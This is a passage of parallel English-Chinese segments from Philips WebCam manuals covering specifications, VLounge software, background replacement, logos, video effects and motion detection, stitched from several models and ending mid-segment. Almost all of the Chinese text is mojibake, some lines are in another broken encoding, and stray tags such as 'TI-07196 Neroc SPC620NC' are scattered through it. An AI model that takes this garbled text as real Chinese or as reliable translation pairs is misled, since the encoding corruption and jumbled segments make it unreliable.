fps + + + +F-number ...............................................................................................2.2 + + +光圈值 ...............................................................................................2.2 + + + +Lens view angle......................................................................54 degrees + + +镜头å¯è§†è§’度......................................................................54 度 + + + +Minimum subject illumination .................................................< + + +物体最低照明度 .................................................< + + + +10 lux + + +10 å‹’å…‹æ–¯ + + + +Interfacing.....................................................................................USB 1.1 + + +接å£.....................................................................................USB 1.1 + + + +USB cable length ............................................................................1.5 m + + +USB 缆线长度 ............................................................................1.5 m + + + +Microphone ........... + + +麦克风 ........... + + + +- External microphone supplied (SPC500NC) + + +— éšé™„外置麦克风 (SPC500NC) + + + +- In-ear headset supplied (SPC505NC) + + +- éšé™„入耳å¼è€³æœº (SPC505NC) + + + +• Microsoft® Windows® 98SE/2000/ME/XP or Vista; + + +• Microsoft® Windows® 98SE/2000/ME/XP 或 Vista; + + + +Where to go for information and support? + + +´ÓÄÄÀï¿É»ñµÃÃÅâºÃÖ§³Ö£¿ + + + +Please visit our website: + + +Çë·ÃÎÊÎÒÃǵÄÃøÕ¾»ñÈ¡×îòúÆ·ÃÅ⣺ + + + +www.philips.com for the latest product information. + + +www.philips.com。 + + + +Go to: + + +Çë·ÃÎÊ£º + + + +www.philips.com/support for the latest version of drivers and for troubleshooting tips. + + +www.philips.com/support 获å–最新版本的驱动程åºåŠæ•…障排除方法。 + + + +Specifications are subject to change without notice. + + +ÈçÓøü¸Ä£¬Ë¡²»ÉùÃ÷¡£ + + + +Trademarks are the property of Koninklijke Philips Electronics N.V. or their respective owners. + + +所有商标å‡å±ž Koninklijke Philips Electronics N.V. 或其å„自拥有者所有。 + + + +2005 © Koninklijke Philips Electronics N.V. All rights reserved. + + +2005 © Koninklijke Philips Electronics N.V. 版æƒæ‰€æœ‰ã€‚ + + + +www.philips.com + + +www.philips.com + + + +For adding voice and sound when video chatting and video recording. + + +用于在进行视频èŠå¤©æˆ–录制视频时增加语音或声音。 + + + +For talking and listening to your meeting partner during video chatting. + + +用于在视频èŠå¤©è¿‡ç¨‹ä¸­å¬å¯¹æ–¹çš„声音或与对方通è¯ã€‚ + + + +Selecting your WebCam + + +选择网络摄åƒå¤´ + + + +Capturing images / making video recordings + + +抓æ‹å›¾åƒ/录制视频 + + + +Select at least ‘SPC520NCWebCam Driver’ and ‘PhilipsVLounge’ for SPC520NCWebCam as well as for SPC525NCWebCam (software is the same for both WebCams). + + +对于 SPC520NCWebCam ä»¥åŠ SPC525NCWebCam,请至少选择“SPC520NC 网络摄åƒå¤´é©±åŠ¨ç¨‹åºâ€(SPC520NCWebCam Driver) 和“PhilipsVLoungeâ€ï¼ˆè¿™ä¸¤ç§ç½‘络摄åƒå¤´ä½¿ç”¨ç›¸åŒçš„软件)。 + + + +Features settings + + +功能设置 + + + +Grey microphone plug (!) - for connecting to the headphone or green socket of the PC sound card. + + +ç°è‰²éº¦å…‹é£Žæ’头 (!) - 用于连接 PC 声å¡ä¸Šçš„耳机æ’孔或绿色æ’孔。 + + + +Audio cable (SPC525NC only) + + +音频缆线(仅 SPC525NC) + + + +Black headphone plug (n)- for connecting to the microphone socket of the PC sound card. + + +黑色耳机æ’头 (n) - 用于连接 PC 声å¡ä¸Šçš„麦克风æ’孔。 + + + +Digital microphone + + +数字麦克风 + + + +TI-07196, TI-07196 Neroc SPC620NC +Change background + + +æ›´æ¢èƒŒæ™¯ + + + +TI-07196, TI-07196 Neroc SPC620NC +Or: + + +或者: + + + +TI-07196, TI-07196 Neroc SPC620NC +For manually adjusting the focus of the lens. + + +用于手动调节镜头焦è·ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +Clamp with rubber rims / camera foot + + +带橡胶镶边的固定夹/æ‘„åƒå¤´åº•åº§ + + + +TI-07196, TI-07196 Neroc SPC620NC +For attaching the WebCam to your (flat panel) PC monitor or laptop screen. + + +用于将网络摄åƒå¤´å›ºå®šåˆ° PC å¹³æ¿æ˜¾ç¤ºå™¨æˆ–笔记本电脑的å±å¹•ä¸Šã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +The clamp can be folded when the WebCam is placed on a desk or (large) desktop monitor. + + +将网络摄åƒå¤´æ”¾ç½®äºŽæ¡Œé¢æˆ–(大型)å°å¼æ˜¾ç¤ºå™¨ä¸Šæ—¶ï¼Œå›ºå®šå¤¹å¯æ”¶åˆã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +For adding voice and sound when video calling and video recording. + + +å¯åœ¨è¿›è¡Œè§†é¢‘通è¯å’Œè§†é¢‘录制时,添加语音或声音。 + + + +TI-07196, TI-07196 Neroc SPC620NC +Lights up blue when the WebCam is in use. + + +网络摄åƒå¤´æ­£åœ¨ä½¿ç”¨æ—¶ï¼ŒLED 会亮起è“ç¯ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +Page 5 + + +Page 5 + + + +TI-07196, TI-07196 Neroc SPC620NC +VLounge + + +VLounge + + + +TI-07196, TI-07196 Neroc SPC620NC +Motion detection + + +动作æ•æ‰ + + + +TI-07196, TI-07196 Neroc SPC620NC +Broadcasting your videos over the Internet + + +在互è”网上å‘布您的视频 + + + +Via VLounge you have access to all camera-related software. + + +通过 Vlounge,您å¯ä»¥è®¿é—®ä¸Žæ‘„åƒå¤´ç›¸å…³çš„所有软件。 + + + +See ‘Operating the WebCam’. + + +请å‚阅“网络摄åƒå¤´çš„æ“作â€ã€‚ + + + +(SPC525NC only) + + +(仅 SPC525NC) + + + +• Connect the black headphone plug (n) to the headphone socket of the PC sound card. + + +• 将黑色耳机æ’头 (n) 连接至 PC 声å¡ä¸Šçš„耳机æ’孔。 + + + +• Connect the grey microphone plug (!) to the microphone orgreen socket of the sound card. + + +• å°†ç°è‰²éº¦å…‹é£Žæ’头 (!) 连接至声å¡ä¸Šçš„麦克风æ’孔或绿色æ’孔。 + + + +by clicking the VProperty icon â–ˆ in the Windows taskbar, bottom right of your screen; + + +å•å‡»ç”»é¢å³ä¸‹è§’ Windows 任务æ ä¸Šçš„ VProperty 图标 █; + + + +by selecting ‘PC Camera Settings’ under ‘Preferences’ in the VLounge selection screen; + + +在 Vlounge 选择画é¢çš„“首选项â€(Preferences) 选项å¡ä¸‹ï¼Œé€‰æ‹©â€œPC æ‘„åƒå¤´è®¾ç½®â€(PC Camera Settings)ï¼› + + + +by clicking the â–ˆ icon in the VLounge selection screen. + + +在 Vlounge ç”»é¢ä¸­å•å‡» â–ˆ 图标。 + + + +Shutter speed + + +快门速度 + + + +The shutter speed determines how long the camera shutter remains open as a picture is taken. + + +快门速度决定摄åƒå¤´çš„快门在æ‹ç…§æ—¶æ‰“开的时间。 + + + +The slower the shutter speed, the longer the exposure time. + + +快门速度越慢,æ›å…‰æ—¶é—´è¶Šé•¿ã€‚ + + + +The shutter speed controls the total amount of light reaching the sensor. + + +快门速度控制到达传感器的光线总é‡ã€‚ + + + +Use the slider to set the desired shutter speed. + + +使用滑å—设置ç†æƒ³çš„快门速度。 + + + +Gain + + +增益 + + + +In video, gain is the amount of white in a video picture. + + +在视频中,增益是指视频图片的白光é‡ã€‚ + + + +Use the slider to set the desired gain level. + + +使用滑å—设置ç†æƒ³çš„增益值。 + + + +This slider provides manual control over the microphone. + + +此滑å—å¯ç”¨äºŽæ‰‹å·¥è°ƒèŠ‚麦克风的音é‡ã€‚ + + + +Face tracking + + +é¢éƒ¨è·Ÿè¸ª + + + +If you enable the face tracking option the WebCam will track your face. + + +如果å¯ç”¨äº†é¢éƒ¨è·Ÿè¸ªé€‰é¡¹ï¼Œç½‘络摄åƒå¤´å°†è·Ÿè¸ªæ‚¨çš„é¢éƒ¨ã€‚ + + + +This will give your more convenience while video chatting, because you don’t need to sit still during your video conversation. + + +这样将使视频èŠå¤©æ›´åŠ æ–¹ä¾¿ï¼Œå› ä¸ºæ‚¨åœ¨è¿›è¡Œè§†é¢‘对è¯æ—¶æ— éœ€å®‰é™åœ°åç€ã€‚ + + + +Digital zoom + + +æ•°å­—å˜ç„¦ + + + +Use the digital zoom option to get an object closer. + + +使用数字å˜ç„¦é€‰é¡¹å¯ä»¥å°†é•œå¤´æ‹‰è¿‘。 + + + +Digital zoom magnifies the pixels but not the actual image. + + +æ•°å­—å˜ç„¦åŠŸèƒ½å¯ä»¥æ”¾å¤§å›¾åƒçš„åƒç´ ï¼Œä½†ä¸æ”¹å˜å®žé™…图åƒã€‚ + + + +It degrades image quality. + + +图åƒçš„è´¨é‡å°†ä¸‹é™ã€‚ + + + +Use the slider to set the desired volume level. + + +使用滑å—设置ç†æƒ³çš„音é‡ã€‚ + + + +All applications can be accessed via the Philips V(ideo)-Lounge application. + + +通过 Philips V(ideo)-Lounge 应用程åºï¼Œå¯ä»¥è®¿é—®æ‰€æœ‰çš„应用程åºã€‚ + + + +VLounge is the central application for easy access to your Philips WebCam. + + +VLounge 是访问 Philips 网络摄åƒå¤´çš„核心应用程åºã€‚ + + + +Start VLounge: + + +å¯åŠ¨ Vlounge: + + + +through the Windows QuickLaunch menu in your taskbar; + + +通过任务æ ä¸­çš„ Windows 快速å¯åŠ¨èœå•ï¼› + + + +via the program group ‘SPC520NC WebCam’; + + +通过“SPC520NC 网络摄åƒå¤´â€ç¨‹åºç»„ï¼› + + + +by clicking the VLounge icon on the desktop. + + +å•å‡»æ¡Œé¢ä¸Šçš„ VLounge 图标。 + + + +The VLounge application will now be initiated and the Vlounge selection screen appears. + + +VLounge 应用程åºå³å°†å¯åŠ¨ï¼ŒVlounge 选择画é¢å‡ºçŽ°ã€‚ + + + +When more than one WebCam is installed and connected to your PC / laptop, you can select the WebCam you wish to operate. + + +如果您的 PC/笔记本电脑安装并连接了一个以上网络摄åƒå¤´ï¼Œæ‚¨å¯ä»¥ä»Žä¸­é€‰æ‹©æ‚¨æƒ³ä½¿ç”¨çš„。 + + + +1 Open the ‘Preferences’ menu. + + +1 打开“首选项â€(Preferences) èœå•ã€‚ + + + +Select ‘Video Device’. + + +选择“视频设备â€(Video Device)。 + + + +All WebCams connected are shown. + + +连接的所有网络摄åƒå¤´æ˜¾ç¤ºå‡ºæ¥ã€‚ + + + +Select the WebCam you wish to operate. + + +选择您想è¦ä½¿ç”¨çš„网络摄åƒå¤´ã€‚ + + + +Click the ‘OK’ button. + + +å•å‡»â€œç¡®å®šâ€(OK) 按钮。 + + + +The VLoungeselection screen for the selected WebCam appears. + + +显示所选网络摄åƒå¤´çš„ Vlounge 选择画é¢å‡ºçŽ°ã€‚ + + + +In the ‘Capture’ menu you can capture images and make video recordings and transfer, preview, edit, e-mail, print and organise your photos and video recordings. + + +在“抓æ‹â€(Capture) èœå•ä¸­ï¼Œæ‚¨å¯ä»¥æŠ“æ‹å›¾åƒå’Œå½•åˆ¶è§†é¢‘,并对照片和视频进行传输ã€é¢„览ã€ç¼–辑ã€ç”µå­é‚®ä»¶å‘é€ã€æ‰“å°å’Œæ•´ç†æ“作。 + + + +Click the ‘Capture’ tab to open the Capture menu. + + +å•å‡»â€œæŠ“æ‹â€(Capture) 选项å¡æ‰“开“抓æ‹â€(Capture) èœå•ã€‚ + + + +> The camera starts operating immediately. + + +> æ‘„åƒå¤´ç«‹å³å¼€å§‹å·¥ä½œã€‚ + + + +Click ‘IMAGE’ to capture an image. + + +å•å‡»â€œå›¾åƒâ€(IMAGE) 抓æ‹å›¾åƒã€‚ + + + +Click ‘VIDEO’ to start a video recording. + + +å•å‡»â€œè§†é¢‘â€(VIDEO) 开始录制视频。 + + + +Click ‘VIDEO’ again to stop recording. + + +å†æ¬¡å•å‡»â€œè§†é¢‘â€(VIDEO) åœæ­¢å½•åˆ¶ã€‚ + + + +Click â–ˆ to maximize the lower part of the screen and display the camera preview. + + +å•å‡» â–ˆ 最大化画é¢çš„下部,并显示摄åƒé¢„览。 + + + +Click â–ˆ to maximize the upper part of the screen and display your captured images and video recordings. + + +å•å‡» â–ˆ 最大化画é¢çš„上部,并显示您æ‹æ‘„的图åƒå’Œå½•åˆ¶çš„视频。 + + + +Move your cursor onto a button to see a brief explanation of the button function. + + +将光标移至按钮,显示相应按钮功能的简介。 + + + +If you need assistance select ‘Application Help’ in the ‘Help’ menu. + + +如果需è¦å¸®åŠ©ï¼Œè¯·åœ¨â€œå¸®åŠ©â€(Help) èœå•ä¸­é€‰æ‹©â€œåº”用程åºå¸®åŠ©â€(Application Help)。 + + + +Click the ‘Communicate’ tab to open the Communicate menu. + + +å•å‡»â€œé€šè®¯â€(Communicate) 选项å¡æ‰“开“通讯â€(Communicate) èœå•ã€‚ + + + +> The available applications are shown by their icons. + + +> å¯ç”¨åº”用程åºçš„图标显示出æ¥ã€‚ + + + +Click the appropriate ‘Install’ button to download and install an application. + + +å•å‡»ç›¸åº”的“安装â€(Install) 按钮,下载并安装应用程åºã€‚ + + + +Follow the on-screen instructions during downloading and installing. + + +按照å±å¹•æ˜¾ç¤ºçš„说明下载和安装软件。 + + + +After installing an application, make the required WebCam settings within the application in order to be able to properly use the WebCam via the application. + + +安装了应用程åºåŽï¼Œä¸ºäº†èƒ½å¤Ÿæ­£ç¡®åœ°é€šè¿‡åº”用程åºä½¿ç”¨ç½‘络摄åƒå¤´ï¼Œåº”在应用程åºä¸­è¿›è¡Œå¿…è¦çš„网络摄åƒå¤´è®¾ç½®ã€‚ + + + +Click the appropriate ‘Launch’ button to start an application. + + +å•å‡»ç›¸åº”的“è¿è¡Œâ€(Launch) 按钮å¯åŠ¨åº”用程åºã€‚ + + + +Digital built-in + + +数字内置 + + + +Multimedia headset supplied (SPC525NC) + + +多媒体耳机éšé™„ (SPC525NC) + + + +•Microsoft® Windows® XP or Vista; + + +•Microsoft® Windows® XP 或 Vistaï¼› + + + +TI-07196, TI-07196 Neroc SPC620NC +If the ‘Language selection’ screen does not appear automatically, open ‘My computer’, double click on the CD, then double click on the 'Setup.exe' icon. + + +如果未自动显示“语言选择â€(Language selection) ç”»é¢ï¼Œè¯·æ‰“开“我的电脑â€ï¼ŒåŒå‡» CD 光盘,然åŽåŒå‡»â€œSet-up.exeâ€å›¾æ ‡ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +All required items are selected by default. + + +默认状æ€ä¸‹æ‰€æœ‰å¿…è¦é¡¹éƒ½å·²é€‰ä¸­ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +Select at least ‘SPC620NCWebCam Driver’ and ‘Philips VLounge’. + + +至少应选择“SPC620NC 网络摄åƒå¤´é©±åŠ¨ç¨‹åºâ€(SPC620NCWebCam Driver) 和“Philips VLoungeâ€ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +> The following screen appears. + + +> 出现以下画é¢ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +Select ‘Yes’, then click ‘Finish’ to restart your PC / laptop. + + +选择“是â€(Yes),然åŽå•å‡»â€œå®Œæˆâ€(Finish) é‡æ–°å¯åŠ¨æ‚¨çš„ PC /笔记本电脑。 + + + +TI-07196, TI-07196 Neroc SPC620NC +Use the clamp and the two rubber rims to attach the WebCam to your (flat panel) PC monitor or laptop screen. + + +利用固定夹和两个橡胶镶边将网络摄åƒå¤´å›ºå®šåˆ° PC å¹³æ¿æ˜¾ç¤ºå™¨æˆ–笔记本电脑的å±å¹•ä¸Šã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Fold the clamp to place the WebCam on a desk or (large) desktop monitor. + + +• 收åˆå›ºå®šå¤¹åŽï¼Œå¯å°†ç½‘络摄åƒå¤´æ”¾ç½®äºŽæ¡Œé¢æˆ–(大型)å°å¼æ˜¾ç¤ºå™¨ä¸Šã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +If you enable the face tracking option, the WebCam will track your face. + + +如果å¯ç”¨äº†é¢éƒ¨è·Ÿè¸ªé€‰é¡¹ï¼Œç½‘络摄åƒå¤´å°†ä¼šè·Ÿè¸ªæ‚¨çš„é¢éƒ¨ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +This gives you more convenience while video chatting, because you don’t need to sit still during your video conversation. + + +这样将使视频èŠå¤©æ›´åŠ æ–¹ä¾¿ï¼Œå› ä¸ºæ‚¨åœ¨è¿›è¡Œè§†é¢‘对è¯æ—¶ä¸å¿…一动ä¸åŠ¨åœ°åç€ã€‚ + + + +Neroc SPC1300 NC +18 Audio enhancement + + +18 音频增强 + + + +Neroc SPC1300 NC +This option helps you to enhance the audio quality of the WebCam in order to achieve optimal voice quality when video calling. + + +该选项å¯å¸®åŠ©å¢žå¼ºç½‘络摄åƒå¤´çš„音频质é‡ï¼Œä»¥ä¾¿åœ¨è§†é¢‘通è¯æ—¶èŽ·å¾—最佳音质。 + + + +Neroc SPC1300 NC +Use the slider to adjust audio quality to your own personal preference. + + +使用滑å—,根æ®æ‚¨çš„个人喜好调节音频质é‡ã€‚ + + + +Neroc SPC1300 NC +2 digital built-in omni directional microphones + + +2 个内置全å‘数字麦克风 + + + +Neroc SPC1300 NC +Select ‘Demo mode’ to see a 'live preview' video image on your monitor so you can see the effect of the adjustment on your screen. + + +选择“演示模å¼â€(Demo mode) 在显示器上观看“实时预览â€(live preview) 视频图åƒï¼Œæ‚¨å¯ä»¥åœ¨å±å¹•ä¸Šè§‚看调节效果。 + + + +Neroc SPC1300 NC +helps you to enhance the image and video quality of the WebCam, giving you ultimate sharpness, vivid colors and smooth, natural motion. + + +å¯å¸®åŠ©å¢žå¼ºç½‘络摄åƒå¤´çš„图åƒå’Œè§†é¢‘è´¨é‡ï¼Œè¿˜æ‚¨ä»¥ç»ˆæžçš„色彩é”度ã€é€¼çœŸçš„色彩和æµç•…自然的动作。 + + + +Neroc SPC1300 NC +Use the slider to adjust the level of Pixel Plus, added to the live video of your WebCam. + + +使用滑å—调节 Pixel Plus 的水平,以æ高网络摄åƒå¤´çš„实时视频质é‡ã€‚ + + + +Neroc SPC1300 NC +Demo mode + + +æ¼”ç¤ºæ¨¡å¼ + + + +TI-07196, TI-07196 Neroc SPC620NC +This option enables you to replace the actual (real-time) background image by one from the WebCam background list or by one of your own pictures. + + +通过此选项,您å¯ä»¥ä½¿ç”¨ç½‘络摄åƒå¤´èƒŒæ™¯åˆ—表中的图åƒæˆ–您自己的图片æ¥æ›´æ¢å®žé™…(实时)背景图åƒã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +Note: + + +注: + + + +TI-07196, TI-07196 Neroc SPC620NC +When changing the background, make sure that: + + +更改背景时,请确ä¿ï¼š + + + +TI-07196 +- the actual background is static. + + +— 实际背景处于é™æ€çŠ¶æ€ï¼› + + + +TI-07196, TI-07196 Neroc SPC620NC +There should be no movement within the WebCam field of view. + + +网络摄åƒå¤´çš„视角范围内没有活动。 + + + +TI-07196, TI-07196 Neroc SPC620NC +Not even the movement of a curtain. + + +窗帘的晃动都ä¸å…许。 + + + +TI-07196 Neroc SPC620NC +- there is sufficient light in the room. + + +— 室内光线充足; + + + +TI-07196, TI-07196 Neroc SPC620NC +The better the lighting conditions, the better the performance of the ‘Change background’ feature. + + +光线æ¡ä»¶è¶Šä½³ï¼Œâ€œæ›´æ”¹èƒŒæ™¯â€åŠŸèƒ½çš„效果越好。 + + + +TI-07196 Neroc SPC620NC +- lighting conditions are not changed. + + +— 光线æ¡ä»¶åº”ä¿æŒä¸å˜ï¼› + + + +TI-07196, TI-07196 Neroc SPC620NC +Even a slight change in the lighting conditions will negatively influence the image. + + +光线æ¡ä»¶å³ä½¿å‡ºçŽ°ç»†å¾®å˜åŒ–也会影å“图åƒçš„è´¨é‡ã€‚ + + + +TI-07196 Neroc SPC620NC +- the colors of the cloths you wear are not the same as the background color. + + +— 您穿ç€çš„è¡£æœé¢œè‰²ä¸ŽèƒŒæ™¯é¢œè‰²ä¸åŒï¼› + + + +TI-07196 Neroc SPC620NC +- the WebCam does not move, even the slightest movement will negatively influence the image. + + +— 网络摄åƒå¤´æ²¡æœ‰ç§»åŠ¨ï¼›å³ä½¿æ˜¯è½»å¾®çš„移动也会影å“图åƒè´¨é‡ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +To change the background: + + +è¦æ›´æ”¹èƒŒæ™¯ï¼š + + + +TI-07196, TI-07196 Neroc SPC620NC +In the ‘Features’ menu, check the ‘Change background’ box. + + +在“功能â€(Features) èœå•ä¸­ï¼Œå‹¾é€‰â€œæ›´æ”¹èƒŒæ™¯â€(Change background) å¤é€‰æ¡†ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +> The last selected background is shown in the preview window. + + +> 最åŽé€‰æ‹©çš„背景会显示在预览窗å£ä¸­ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +> When the option is enabled for the first time, the first image from the WebCam background list is selected. + + +> 首次å¯ç”¨è¯¥é€‰é¡¹æ—¶ï¼Œé»˜è®¤é€‰ä¸­çš„是网络摄åƒå¤´èƒŒæ™¯åˆ—表中的首张图åƒã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +Use â–¼ to browse through the WebCam background list and select a background. + + +点击 â–¼ æ¥æµè§ˆç½‘络摄åƒå¤´èƒŒæ™¯åˆ—表,并选择一个背景。 + + + +TI-07196, TI-07196 Neroc SPC620NC +Use ‘Browse’ to browse through your harddisk content and select one of your own pictures as background. + + +点击“æµè§ˆâ€(Browse) 按钮æ¥æµè§ˆç¡¬ç›˜å†…容,并选择一张自己的图片作为背景。 + + + +TI-07196 Neroc SPC620NC +Make sure the background is properly lit and that there is no movement within the WebCam field of view, then click ‘Take picture’ and step out of the WebCam field of view. + + +ç¡®ä¿èƒŒæ™¯å…‰çº¿å……足并且网络摄åƒå¤´çš„视角范围内没有活动,然åŽå•å‡»â€œæ‹ç…§â€(Take picture),并走出网络摄åƒå¤´çš„视角范围。 + + + +TI-07196, TI-07196 Neroc SPC620NC +> Three seconds are now counted down and a picture of the actual background is taken.You will here a shutter sound. + + +> 三秒计时åŽä¾¿ä¼šæ‹ä¸‹ä¸€å¹…实际背景图片,并且您将会å¬åˆ°å’”嚓一声。 + + + +TI-07196, TI-07196 Neroc SPC620NC +> The actual background is now replaced by the selected background. + + +> 此时实际背景便会被所选背景替代。 + + + +TI-07196, TI-07196 Neroc SPC620NC +Add logo + + +添加徽标 + + + +TI-07196, TI-07196 Neroc SPC620NC +If you enable this option, a logo image will be placed in one of the corners of the Video stream. + + +å¯ç”¨æ­¤é€‰é¡¹æ—¶ï¼Œè§†é¢‘æµçš„一个角è½ä¼šå‡ºçŽ°å¾½æ ‡å›¾åƒã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +By default, the last used logo will be selected when the option is enabled. + + +默认状æ€ä¸‹ï¼Œå¯ç”¨æ­¤é€‰é¡¹æ—¶é€‰ä¸­çš„是上次使用的徽标。 + + + +TI-07196 Neroc SPC620NC +When the option is enabled for the first time, the Philips logo will be selected and shown in the upper right corner of the screen. + + +首次å¯ç”¨è¯¥é€‰é¡¹æ—¶ï¼Œé»˜è®¤é€‰ä¸­çš„是 Philips 徽标,并且该徽标将显示在画é¢å³ä¸Šè§’。 + + + +TI-07196, TI-07196 Neroc SPC620NC +Select the desired corner for the logo to be placed in by checking the corresponding box in the ‘Add logo’ screen. + + +在“添加徽标â€(Add logo) ç”»é¢ä¸­å‹¾é€‰ç›¸åº”çš„å¤é€‰æ¡†ï¼Œä»¥é€‰æ‹©è¦å°†å¾½æ ‡æ”¾åœ¨å“ªä¸ªè§’上。 + + + +TI-07196, TI-07196 Neroc SPC620NC +Use â–¼ to browse through the WebCam logo list to select a logo. + + +使用 â–¼ æ¥æµè§ˆç½‘络摄åƒå¤´å¾½æ ‡åˆ—表,以选择一个徽标。 + + + +TI-07196, TI-07196 Neroc SPC620NC +Browse + + +æµè§ˆ + + + +TI-07196, TI-07196 Neroc SPC620NC +Browse through your harddisk content to select one of your own logos. + + +æµè§ˆç¡¬ç›˜å†…容,以选择一个自己的徽标。 + + + +TI-07196, TI-07196 Neroc SPC620NC +Logo size + + +å¾½æ ‡å¤§å° + + + +TI-07196, TI-07196 Neroc SPC620NC +Use the slider to set the desired logo size. + + +使用滑å—设置ç†æƒ³çš„徽标大å°ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +Video frames + + +视频框 + + + +TI-07196, TI-07196 Neroc SPC620NC +This option enables you to place an overlay (frame) over the current video stream. + + +通过此选项,您å¯åœ¨å½“å‰è§†é¢‘æµä¸Šè®¾ç½®ä¸€ä¸ªè§†é¢‘框。 + + + +TI-07196, TI-07196 Neroc SPC620NC +By default, the last used frame will be used, when the option is enabled. + + +默认状æ€ä¸‹ï¼Œå¯ç”¨è¯¥é€‰é¡¹æ—¶å°†ä½¿ç”¨ä¸Šæ¬¡ä½¿ç”¨çš„视频框。 + + + +TI-07196, TI-07196 Neroc SPC620NC +Use â–¼ to browse through the WebCam frame list to select a frame. + + +使用 â–¼ æ¥æµè§ˆç½‘络摄åƒå¤´è§†é¢‘框列表,并选择一个视频框。 + + + +TI-07196, TI-07196 Neroc SPC620NC +Video effects + + +视频效果 + + + +TI-07196, TI-07196 Neroc SPC620NC +This option enables you to add video effects to your video recordings and video calls. + + +通过此选项,您å¯åœ¨è§†é¢‘录制和视频通è¯æ—¶æ·»åŠ è§†é¢‘效果。 + + + +TI-07196, TI-07196 Neroc SPC620NC +For example, you can display the video with canvas effect, distortion effect, embossing effect and many more. + + +例如,您å¯ä½¿ç”¨æ²¹ç”»æ•ˆæžœã€å˜å½¢æ•ˆæžœã€æµ®é›•æ•ˆæžœæˆ–更多其他效果æ¥æ˜¾ç¤ºè§†é¢‘。 + + + +TI-07196, TI-07196 Neroc SPC620NC +By default, the last used effect will be applied to the video, when the option is enabled. + + +默认状æ€ä¸‹ï¼Œå¯ç”¨è¯¥é€‰é¡¹æ—¶è§†é¢‘会采用上次使用的效果。 + + + +TI-07196 Neroc SPC620NC +When the option is enabled for the first time, the first effect from the video effects list will be selected. + + +首次å¯ç”¨æ—¶è¯¥é€‰é¡¹ï¼Œé»˜è®¤é€‰ä¸­çš„是视频效果列表中的第一ç§æ•ˆæžœã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +Use â–¼ to browse through the WebCam video effects list to select an effect. + + +使用 â–¼ æ¥æµè§ˆç½‘络摄åƒå¤´è§†é¢‘效果列表,以选择一ç§æ•ˆæžœã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +> The total amount of captured items is shown above the content panel (top right). + + +> 抓æ‹é¡¹çš„总数会显示在内容é¢æ¿çš„å³ä¸Šæ–¹ï¼ˆé¡¶éƒ¨ï¼‰ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Click ‘All Captures’ to display all captured items in the content panel. + + +• å•å‡»â€œæ‰€æœ‰æŠ“æ‹â€(All Captures),以在内容é¢æ¿ä¸­æ˜¾ç¤ºæ‰€æœ‰æŠ“æ‹é¡¹ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +• Click ‘Images’, ‘Videos’ or ‘Folders’ to display your captured images, video clips or folders containg captures in the content panel. + + +• å•å‡»â€œå›¾åƒâ€(Images)ã€â€œè§†é¢‘â€(Videos) 或“文件夹â€(Folders),å¯åœ¨å†…容é¢æ¿ä¸­æ˜¾ç¤ºæ‚¨æ‰€æŠ“æ‹çš„图åƒã€è§†é¢‘短片或包å«æŠ“æ‹é¡¹çš„文件夹。 + + + +TI-07196, TI-07196 Neroc SPC620NC +Deleting captured items + + +删除抓æ‹é¡¹ + + + +TI-07196, TI-07196 Neroc SPC620NC +1 Select the items you wish to delete in the content panel or under ‘Images’, ‘Videos’ and ‘Folders’. + + +1 在内容é¢æ¿ä¸­æˆ–在“图åƒâ€(Images)ã€â€œè§†é¢‘â€(Videos) 和“文件夹â€(Folders) 目录下选中您想删除的项。 + + + +TI-07196, TI-07196 Neroc SPC620NC +2 Click ‘ ’. + + +2 å•å‡»â€œ â€ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +> The following dialogue screen appears. + + +> 出现以下对è¯æ¡†ã€‚ + + + +Neroc SPC1000 NC +Register your product and get support at
www.philips.com/welcome + + +请在以下网å€æ³¨å†Œæœ¬äº§å“并获å–支æŒï¼šâ€¨www.philips.com/welcome + + + +TI-07196, TI-07196 Neroc SPC620NC +3 Click the ‘OK’ button to delete the selected items. + + +3 å•å‡»â€œç¡®å®šâ€(OK) 按钮,删除所选项。 + + + +Neroc SPC1300 NC +3 Picture enhancement + + +3 图åƒå¢žå¼º + + + +TI-07196, TI-07196 Neroc SPC620NC +• If you need assistance select ‘Application Help’ in the ‘Help’ menu. + + +• 如果需è¦å¸®åŠ©ï¼Œè¯·åœ¨â€œå¸®åŠ©â€(Help) èœå•ä¸­é€‰æ‹©â€œåº”用程åºå¸®åŠ©â€(Application Help)。 + + + +TI-07196, TI-07196 Neroc SPC620NC +In the ‘Monitor’ menu you can set up the WebCam for motion detection and videolog recording. + + +在“监测â€(Monitor) èœå•ä¸­ï¼Œæ‚¨å¯è®¾ç½®ç½‘络摄åƒå¤´çš„动作æ•æ‰å’Œè§†é¢‘记录录制功能。 + + + +TI-07196, TI-07196 Neroc SPC620NC +• Click the ‘Monitor’ tab to open the ‘Monitor’ menu. + + +• å•å‡»â€œç›‘测â€(Monitor) 选项å¡ï¼Œæ‰“开“监测â€(Monitor) èœå•ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +> The Monitor menu main screen appears. + + +> 出现监测èœå•çš„主画é¢ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +> The total amount of videologs is shown above the content panel (top right). + + +> 视频记录的总数会显示在内容é¢æ¿çš„å³ä¸Šæ–¹ï¼ˆé¡¶éƒ¨ï¼‰ã€‚ + + + +TI-07196, TI-07196 Neroc SPC620NC +> The ‘Movement’ indicator ( ) shows the amount of movement that is detected within the Webcam field of view. + + +> “动作â€(Movement) 显示æ¡ï¼ˆ 